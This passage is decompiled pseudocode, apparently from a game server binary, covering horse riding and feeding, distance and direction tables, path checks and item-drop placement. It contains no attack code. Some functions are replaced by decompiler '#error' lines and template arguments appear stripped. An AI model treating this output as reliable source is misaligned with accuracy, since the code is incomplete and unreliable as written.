*)v33 ) { (*(void (__thiscall **)(int, int, _DWORD, tm *, unsigned int))(*(_DWORD *)v10 + 52))( v10, v35, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 92136) + 4) + 130), &stru_81EC6C, ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v2); } LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v37 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (004439B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *this) { void *v1; // ebp@1 signed int v2; // esi@1 int v3; // eax@1 bool v4; // zf@1 int v5; // eax@2 int v6; // ecx@4 void *v7; // edi@7 int v8; // edi@8 char *v9; // eax@9 int v10; // ST14_4@9 int v11; // eax@9 char *v12; // [sp+28h] [bp-2Ch]@3 AxialListPacketBroadcast alchat; // [sp+3Ch] [bp-18h]@9 int v14; // [sp+50h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOff"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v1 + 929); v4 = *(_BYTE *)v3 == 6; v14 = 0; if ( !v4 ) goto LABEL_6; *(_BYTE *)v3 = 1; v5 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8884))( (char *)v1 + 35536, *((_WORD *)v1 + 46067)); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null rideslot", 0); v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; goto LABEL_10; } v6 = *(_DWORD *)(v5 + 112); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null ItemAttribute", 0); LABEL_6: v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; goto LABEL_10; } (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v6 + 96))(v5 + 8, 0); v7 = (void *)(*(_DWORD *)((char *)v1 + 32010) + 29); if ( *((_BYTE *)v1 + 89071) ) { memcpy(v7, (char *)v1 + 89024, 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *((_WORD *)v1 + 44534); *(_BYTE *)(v8 + 2) = *((_BYTE *)v1 + 89070); *((_BYTE *)v1 + 89071) = 0; v2 = -1; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8259; *((_WORD *)v9 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v10 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v11, v10, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 66); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2240))(v1, 1792, 9); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v1 + 14434) + 32))((char *)v1 + 57736, *((_WORD *)v1 + 46075)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v12 = "ShineObjectClass::ShinePlayer::sp_HorseOff"; LABEL_10: --funcallanalizer.fca_stackpoint; v14 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (00443B70) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle) { int v5; // esi@1 __int16 v6; // ax@5 int v7; // eax@10 int v8; // ecx@10 int v9; // ebp@10 int v10; // ebx@10 unsigned int v11; // eax@12 int v12; // edi@14 int v13; // eax@16 int v14; // eax@18 FunctionEntarance _; // [sp+30h] [bp-10h]@1 int v16; // [sp+3Ch] [bp-4h]@1 int foodcella; // [sp+48h] [bp+8h]@12 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S10_4 & 1) ) { _S10_4 |= 1u; cmc_29.cmc_AllowMode = 64; atexit(_E11_6); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & cmc_29.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); LABEL_7: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); return; } v6 = *(_WORD *)(v5 + 92134); if ( v6 < 0 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No ride", v6 >= 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4293); goto LABEL_7; } if ( *(_DWORD *)(v5 + 92136) ) { v7 = (**(int (__thiscall ***)(_DWORD, _DWORD, _DWORD))(v5 + 35536))(v5 + 35536, v6, a2); v8 = *(_DWORD *)(v5 + 92136); v9 = v7; v10 = *(_DWORD *)(v7 + 112); if ( *(_WORD *)(v7 + 8) == *(_WORD *)v8 ) { foodcella = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35536))(v5 + 35536, *(_BYTE *)(foodcell + 2)); v11 = BTree::operator__(&stru_125739F0, (const char *)(*(_DWORD *)(*(_DWORD *)(v5 + 92136) + 4) + 132)); if ( v11 == -1 ) LOWORD(v11) = -1; v12 = (unsigned __int16)v11; if ( *(_WORD *)(foodcella + 8) == (unsigned __int16)v11 ) { v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(foodcella + 112) + 24))(foodcella + 8); if ( AssertClass::operator__( &shineassert, v13 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : invalid lot", v13) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } else { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v10 + 56))( v10, v9, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v5 + 92136) + 4) + 196)); ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, *(_WORD *)(v5 + 4), v12, 1, 0); ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v5); v14 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v5, v14); } } else { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v7 + 8) == *(_WORD *)v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 8, 69); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No info", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 69, 4294); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ"); } } // 443B70: could not find valid save-restore pair for ebp // 443B70: inconsistent function type and number of purged bytes // 4DBF10: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00443E80) -------------------------------------------------------- void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this) { unsigned int v1; // edi@1 int v2; // eax@2 int v3; // ebx@2 unsigned int v4; // esi@2 long double v5; // st7@5 double v6; // st7@7 int v7; // ebx@14 double v8; // st7@22 char *v9; // esi@28 int v10; // edi@32 int v11; // ebx@32 unsigned __int64 v12; // qax@32 bool v13; // sf@32 unsigned __int8 v14; // of@32 double degree; // [sp+10h] [bp-5B8h]@9 int k; // [sp+18h] [bp-5B0h]@28 signed int deg; // [sp+1Ch] [bp-5ACh]@2 signed int dega; // [sp+1Ch] [bp-5ACh]@14 signed int x; // [sp+20h] [bp-5A8h]@1 double diffarr[180]; // [sp+28h] [bp-5A0h]@1 diffarr[0] = 1000.0; memcpy(&diffarr[1], diffarr, 0x598u); v1 = -1024; x = -1024; do { v2 = v1 * v1; v3 = 2049 * v1; v4 = -1024; deg = -1024; while ( 1 ) { this->ddt_Table[0][v3 + v4 + 2099200].distance = (unsigned __int64)sqrt((double)(signed int)(v2 + v4 * v4)); if ( v1 ) { if ( !v4 ) { v6 = 45.0; goto LABEL_11; } v5 = atan2(1.0, (double)x / (double)deg) * 28.64788933333083; } else { v5 = (double)((((signed int)v4 > 0) - 1) & 0x5A); } degree = v5; if ( v5 >= 0.0 ) goto LABEL_12; v6 = v5 + 90.0; LABEL_11: degree = v6; LABEL_12: if ( (v1 & 0x80000000u) != 0 ) degree = degree + 90.0; v7 = (unsigned __int64)(degree + 0.5); for ( dega = v7; v7 >= 180; dega = v7 ) { degree = degree - 180.0; v7 = (unsigned __int64)(degree + 0.5); } if ( v7 < 0 || v7 >= 180 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid ShineRadian1", v7); ShineExit("DirectDistanceTable::ddt_Initialize"); } *((_BYTE *)&this->ddt_Table[0][v4 + 2049 * v1].distance + (_DWORD)((char *)&wholesaver + 8278180)) = v7; if ( v1 || v4 ) { v8 = degree - (double)dega; if ( v8 < 0.0 ) v8 = -v8; if ( v8 < diffarr[v7] ) { diffarr[v7] = v8; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 25071784)) = v1; *(unsigned int *)((char *)&this->ddt_Table[0][v7].distance + (_DWORD)((char *)&wholesaver + 25071788)) = v4; } } ++v4; deg = v4; if ( (signed int)v4 > 1024 ) break; v3 = 2049 * v1; v2 = v1 * v1; } ++v1; x = v1; } while ( (signed int)v1 <= 1024 ); k = 0; v9 = (char *)this + (_DWORD)((char *)&wholesaver + 25071788); do { if ( diffarr[k] >= 0.1 ) { AssertClass::ac_AssertFail(&shineassert, "DirectDistanceTable::ddt_Initialize : Too much diff", 0); ShineExit("DirectDistanceTable::ddt_Initialize"); } v10 = *((_DWORD *)v9 - 1); v11 = *(_DWORD *)v9; v12 = (unsigned __int64)sqrt((double)(v11 * v11 + v10 * v10)); v9 += 8; *((_DWORD *)v9 - 3) = (v10 << 10) / (signed int)v12; *((_DWORD *)v9 - 2) = (v11 << 10) / (signed int)v12; v14 = __OFSUB__(k + 1, 180); v13 = k++ - 179 < 0; } while ( v13 ^ v14 ); } //----- (004440F0) -------------------------------------------------------- char *__thiscall ORErrorMessage::orem_GetMessage(ORErrorMessage *this) { return this->orem_Message; } //----- (00444100) -------------------------------------------------------- void __thiscall VectorClass::Vector::v_Rotation(VectorClass::Vector *this, int sr) { unsigned int v2; // esi@1 VectorClass::Vector *v3; // edi@1 int v4; // ebx@1 int v5; // ebp@3 int nY; // [sp+10h] [bp-4h]@1 int sra; // [sp+18h] [bp+4h]@3 v2 = sr; v3 = this; v4 = this->v_x; nY = this->v_y; if ( sr < 0 ) v2 = sr + 180 * (-1 - sr) / 0xB4u + 180; sra = this->v_y * ShineRadian::sr_sin1024(&shineradian, v2); v3->v_x = (v4 * ShineRadian::sr_cos1024(&shineradian, v2) - sra) / 1024; v5 = nY * ShineRadian::sr_cos1024(&shineradian, v2); v3->v_y = (v5 + v4 * ShineRadian::sr_sin1024(&shineradian, v2)) / 1024; } //----- (004441B0) -------------------------------------------------------- int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign) { int v4; // esi@2 int *v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DirectDistanceTable::ddt_ShineRadianDiff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( targetdir - mydir <= 0 ) { v4 = -(targetdir - mydir); v5 = sign; *sign = -1; } else { v4 = targetdir - mydir; v5 = sign; *sign = 1; } if ( v4 > 90 ) { v4 = 180 - v4; *v5 = -*v5; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DirectDistanceTable::ddt_ShineRadianDiff"); return v4; } //----- (00444250) -------------------------------------------------------- char __thiscall FieldMap::fm_IsStreight(void *this, int xA, int yA, int xB, int yB) { void *v5; // ebx@1 char result; // al@2 signed int v7; // kr00_4@3 int v8; // edi@3 bool v9; // bl@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_IsStreight"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (xA - xB) * (xA - xB) + (yA - yB) * (yA - yB) >= 25 ) { v7 = xB + xA; v8 = (yA + yB) / 2; if ( MapBlock::MapBlockInformation::mbi_IsMoveBlock( *((MapBlock::MapBlockInformation **)v5 + 5), (xB + xA) / 2, (yA + yB) / 2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = 0; } else { v9 = (unsigned __int8)FieldMap::fm_IsStreight(v5, xA, yA, v7 / 2, v8) && (unsigned __int8)FieldMap::fm_IsStreight(v5, v7 / 2, v8, xB, yB); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = v9; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStreight"); result = 1; } return result; } //----- (004443D0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SHINE_XY_TYPE *_Val) { unsigned int v4; // edx@1 std::vector > *v5; // esi@1 SHINE_XY_TYPE *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 SHINE_XY_TYPE *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-2Ch]@31 int v28; // [sp-Ch] [bp-28h]@1 SHINE_XY_TYPE _Tmp; // [sp+0h] [bp-1Ch]@1 void *_Newvec; // [sp+8h] [bp-14h]@25 int *v31; // [sp+Ch] [bp-10h]@1 int v32; // [sp+18h] [bp-4h]@25 unsigned int _Wherea; // [sp+24h] [bp+8h]@31 int _Counta; // [sp+28h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+2Ch] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+2Ch] [bp+10h]@31 v4 = _Val->y; v5 = this; _Tmp.x = _Val->x; v6 = this->_Myfirst; v31 = &v28; _Tmp.y = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), &v5->baseclass_0._Alval, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = v5->_Mylast; v32 = 2; std::vector>::_Ufill(v5, v24, v23, &_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (SHINE_XY_TYPE *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), &_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, &v5->baseclass_0._Alval, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), &_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v32 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, _Where, (SHINE_XY_TYPE *)v14, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, &_Tmp, &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], &v5->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (SHINE_XY_TYPE *)((char *)v14 + _Counta); v5->_Mylast = (SHINE_XY_TYPE *)((char *)v14 + 8 * v18); v5->_Myfirst = (SHINE_XY_TYPE *)v14; } } } //----- (00444620) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SHINE_XY_TYPE _Val) { SHINE_XY_TYPE *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00444690) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SHINE_XY_TYPE *_Val) { std::vector > *v2; // esi@1 SHINE_XY_TYPE *v3; // edx@1 signed int v4; // ecx@2 SHINE_XY_TYPE *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00444700) -------------------------------------------------------- #error "444700: undefined or illegal type '#585' (funcsize=166)" //----- (00444920) -------------------------------------------------------- #error "444920: undefined or illegal type '#585' (funcsize=195)" //----- (00444B70) -------------------------------------------------------- void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm) { DropItemAnalyzer *v3; // esi@1 signed int v4; // ecx@1 int v5; // edx@1 int v6; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropItemAnalyzer::dia_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = (int)&v3->dia_DropItem[(unsigned __int8)mob][0].num; while ( 1 ) { if ( *(_WORD *)(v5 - 4) == mob && *(_WORD *)(v5 - 2) == itm ) { ++v3->dia_DropItem[0][v4 + 500 * (unsigned __int8)mob].num; goto LABEL_9; } if ( !*(_WORD *)v5 ) break; ++v4; v5 += 6; if ( v4 >= 500 ) goto LABEL_9; } v6 = (int)((char *)v3 + 6 * (v4 + 500 * (unsigned __int8)mob)); *(_WORD *)v6 = mob; *(_WORD *)(v6 + 2) = itm; *(_WORD *)(v6 + 4) = 1; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DropItemAnalyzer::dia_Set"); } //----- (00444C60) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this) { this->sdc_Array = 0; } //----- (00444C70) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::_SameDistanceCluster(DropLoc::SameDistanceCluster *this) { if ( this->sdc_Array ) operator delete(this->sdc_Array); } //----- (00444C80) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this) { DropLoc::SameDistanceCluster *v1; // esi@1 int v2; // ecx@1 DropLoc::LocationDelta *v3; // eax@1 int v4; // edi@1 int v5; // edx@1 DropLoc::LocationDelta *v6; // eax@1 v1 = this; v2 = RandomBox::operator__(&rndbox, this->sdc_Store); v3 = v1->sdc_Array; v4 = v3->dy1024; v5 = v3->dx1024; v3->dx1024 = v3[v2].dx1024; v3->dy1024 = v3[v2].dy1024; v6 = v1->sdc_Array; v6[v2].dx1024 = v5; v6[v2].dy1024 = v4; } //----- (00444CC0) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number) { DropLoc::SameDistanceCluster *v2; // esi@1 void *v3; // eax@3 int v4; // ecx@3 int v5; // eax@3 v2 = this; if ( this->sdc_Array ) operator delete(this->sdc_Array); v2->sdc_Number = number; v3 = operator new__(8 * number); v4 = v2->sdc_Number; v2->sdc_Array = (DropLoc::LocationDelta *)v3; v5 = 0; if ( v4 > 0 ) { do { v2->sdc_Array[v5].dy1024 = 0; v2->sdc_Array[v5++].dx1024 = 0; } while ( v5 < v2->sdc_Number ); } v2->sdc_Store = 0; } //----- (00444D10) -------------------------------------------------------- void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024) { DropLoc::SameDistanceCluster *v3; // esi@1 int v4; // edi@1 int v5; // eax@2 int v6; // ebx@2 int v7; // eax@2 int v8; // ebx@2 int v9; // eax@2 int v10; // ST18_4@2 int v11; // eax@2 int v12; // ebp@2 v3 = this; v4 = 0; do { v5 = ShineRadian::sr_degree2sr(&shineradian, v4); v6 = x1024 * ShineRadian::sr_cos1024(&shineradian, v5) / 1024; v7 = ShineRadian::sr_degree2sr(&shineradian, v4); v8 = y1024 * ShineRadian::sr_sin1024(&shineradian, v7) / 1024 + v6; v9 = ShineRadian::sr_degree2sr(&shineradian, v4); v10 = x1024 * ShineRadian::sr_sin1024(&shineradian, v9) / 1024; v11 = ShineRadian::sr_degree2sr(&shineradian, v4); v12 = y1024 * ShineRadian::sr_cos1024(&shineradian, v11) / 1024 - v10; if ( v3->sdc_Store >= v3->sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v3->sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v3->sdc_Array[v3->sdc_Store].dx1024 = v8; v3->sdc_Array[v3->sdc_Store].dy1024 = v12; v4 += 60; ++v3->sdc_Store; } while ( v4 < 360 ); } //----- (00444E30) -------------------------------------------------------- char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 DropLoc::LocationDelta *v5; // esi@3 int v6; // eax@3 unsigned int v7; // ecx@3 unsigned int v8; // eax@5 if ( sub < this->sdc_Store ) { v5 = &this->sdc_Array[sub]; v6 = scale * v5->dy1024 / 1024; v7 = loc->x + scale * v5->dx1024 / 1024; if ( v7 ) loc->x = v7; v8 = loc->y + v6; if ( v8 ) loc->y = v8; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "DropLoc::SameDistanceCluster::sdc_Getdelta", sub); result = 0; } return result; } //----- (00444EB0) -------------------------------------------------------- void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this) { _eh_vector_constructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::SameDistanceCluster, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (00444ED0) -------------------------------------------------------- void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this) { _eh_vector_destructor_iterator_( this, 0xCu, 32, (void (__thiscall *)(void *))DropLoc::SameDistanceCluster::_SameDistanceCluster); } //----- (00444EE0) -------------------------------------------------------- void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this) { DropLocationManager *v1; // ebx@1 signed int v2; // ebp@4 int v3; // esi@4 void *v4; // eax@7 int v5; // edx@7 int v6; // eax@7 int v7; // esi@10 int v8; // edi@11 void *v9; // eax@13 int v10; // ecx@13 int v11; // eax@13 signed int v12; // edx@15 int v13; // ebp@15 int v14; // ebx@15 signed int i; // [sp+0h] [bp-14h]@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DropLocationManager::dlm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DropLocationManager::dlm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; DropLoc::SameDistanceCluster::sdc_Init(v1->dlm_array, 1); if ( v1->dlm_array[0].sdc_Store >= v1->dlm_array[0].sdc_Number ) { AssertClass::ac_AssertFail( &shineassert, "DropLoc::SameDistanceCluster::sdc_Setdelta : Buffer overflow", v1->dlm_array[0].sdc_Store); ShineExit("DropLoc::SameDistanceCluster::sdc_Setdelta"); } v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store].dx1024 = 0; v1->dlm_array[0].sdc_Array[v1->dlm_array[0].sdc_Store++].dy1024 = 0; v2 = 1; v3 = (int)&v1->dlm_array[1]; do { if ( *(_DWORD *)(v3 + 8) ) operator delete(*(void **)(v3 + 8)); *(_DWORD *)v3 = 6; v4 = operator new__(0x30u); v5 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8) = v4; v6 = 0; if ( v5 > 0 ) { do { *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6 + 4) = 0; *(_DWORD *)(*(_DWORD *)(v3 + 8) + 8 * v6++) = 0; } while ( v6 < *(_DWORD *)v3 ); } *(_DWORD *)(v3 + 4) = 0; DropLoc::SameDistanceCluster::sdc_Setsixpoint((DropLoc::SameDistanceCluster *)v3, (v2 + 1) / 2 << 10, 0); v2 += 2; v3 += 24; } while ( (unsigned int)v2 < 0x20 ); i = 2; v7 = (int)&v1->dlm_array[2]; do { v8 = i / 2; if ( *(_DWORD *)(v7 + 8) ) operator delete(*(void 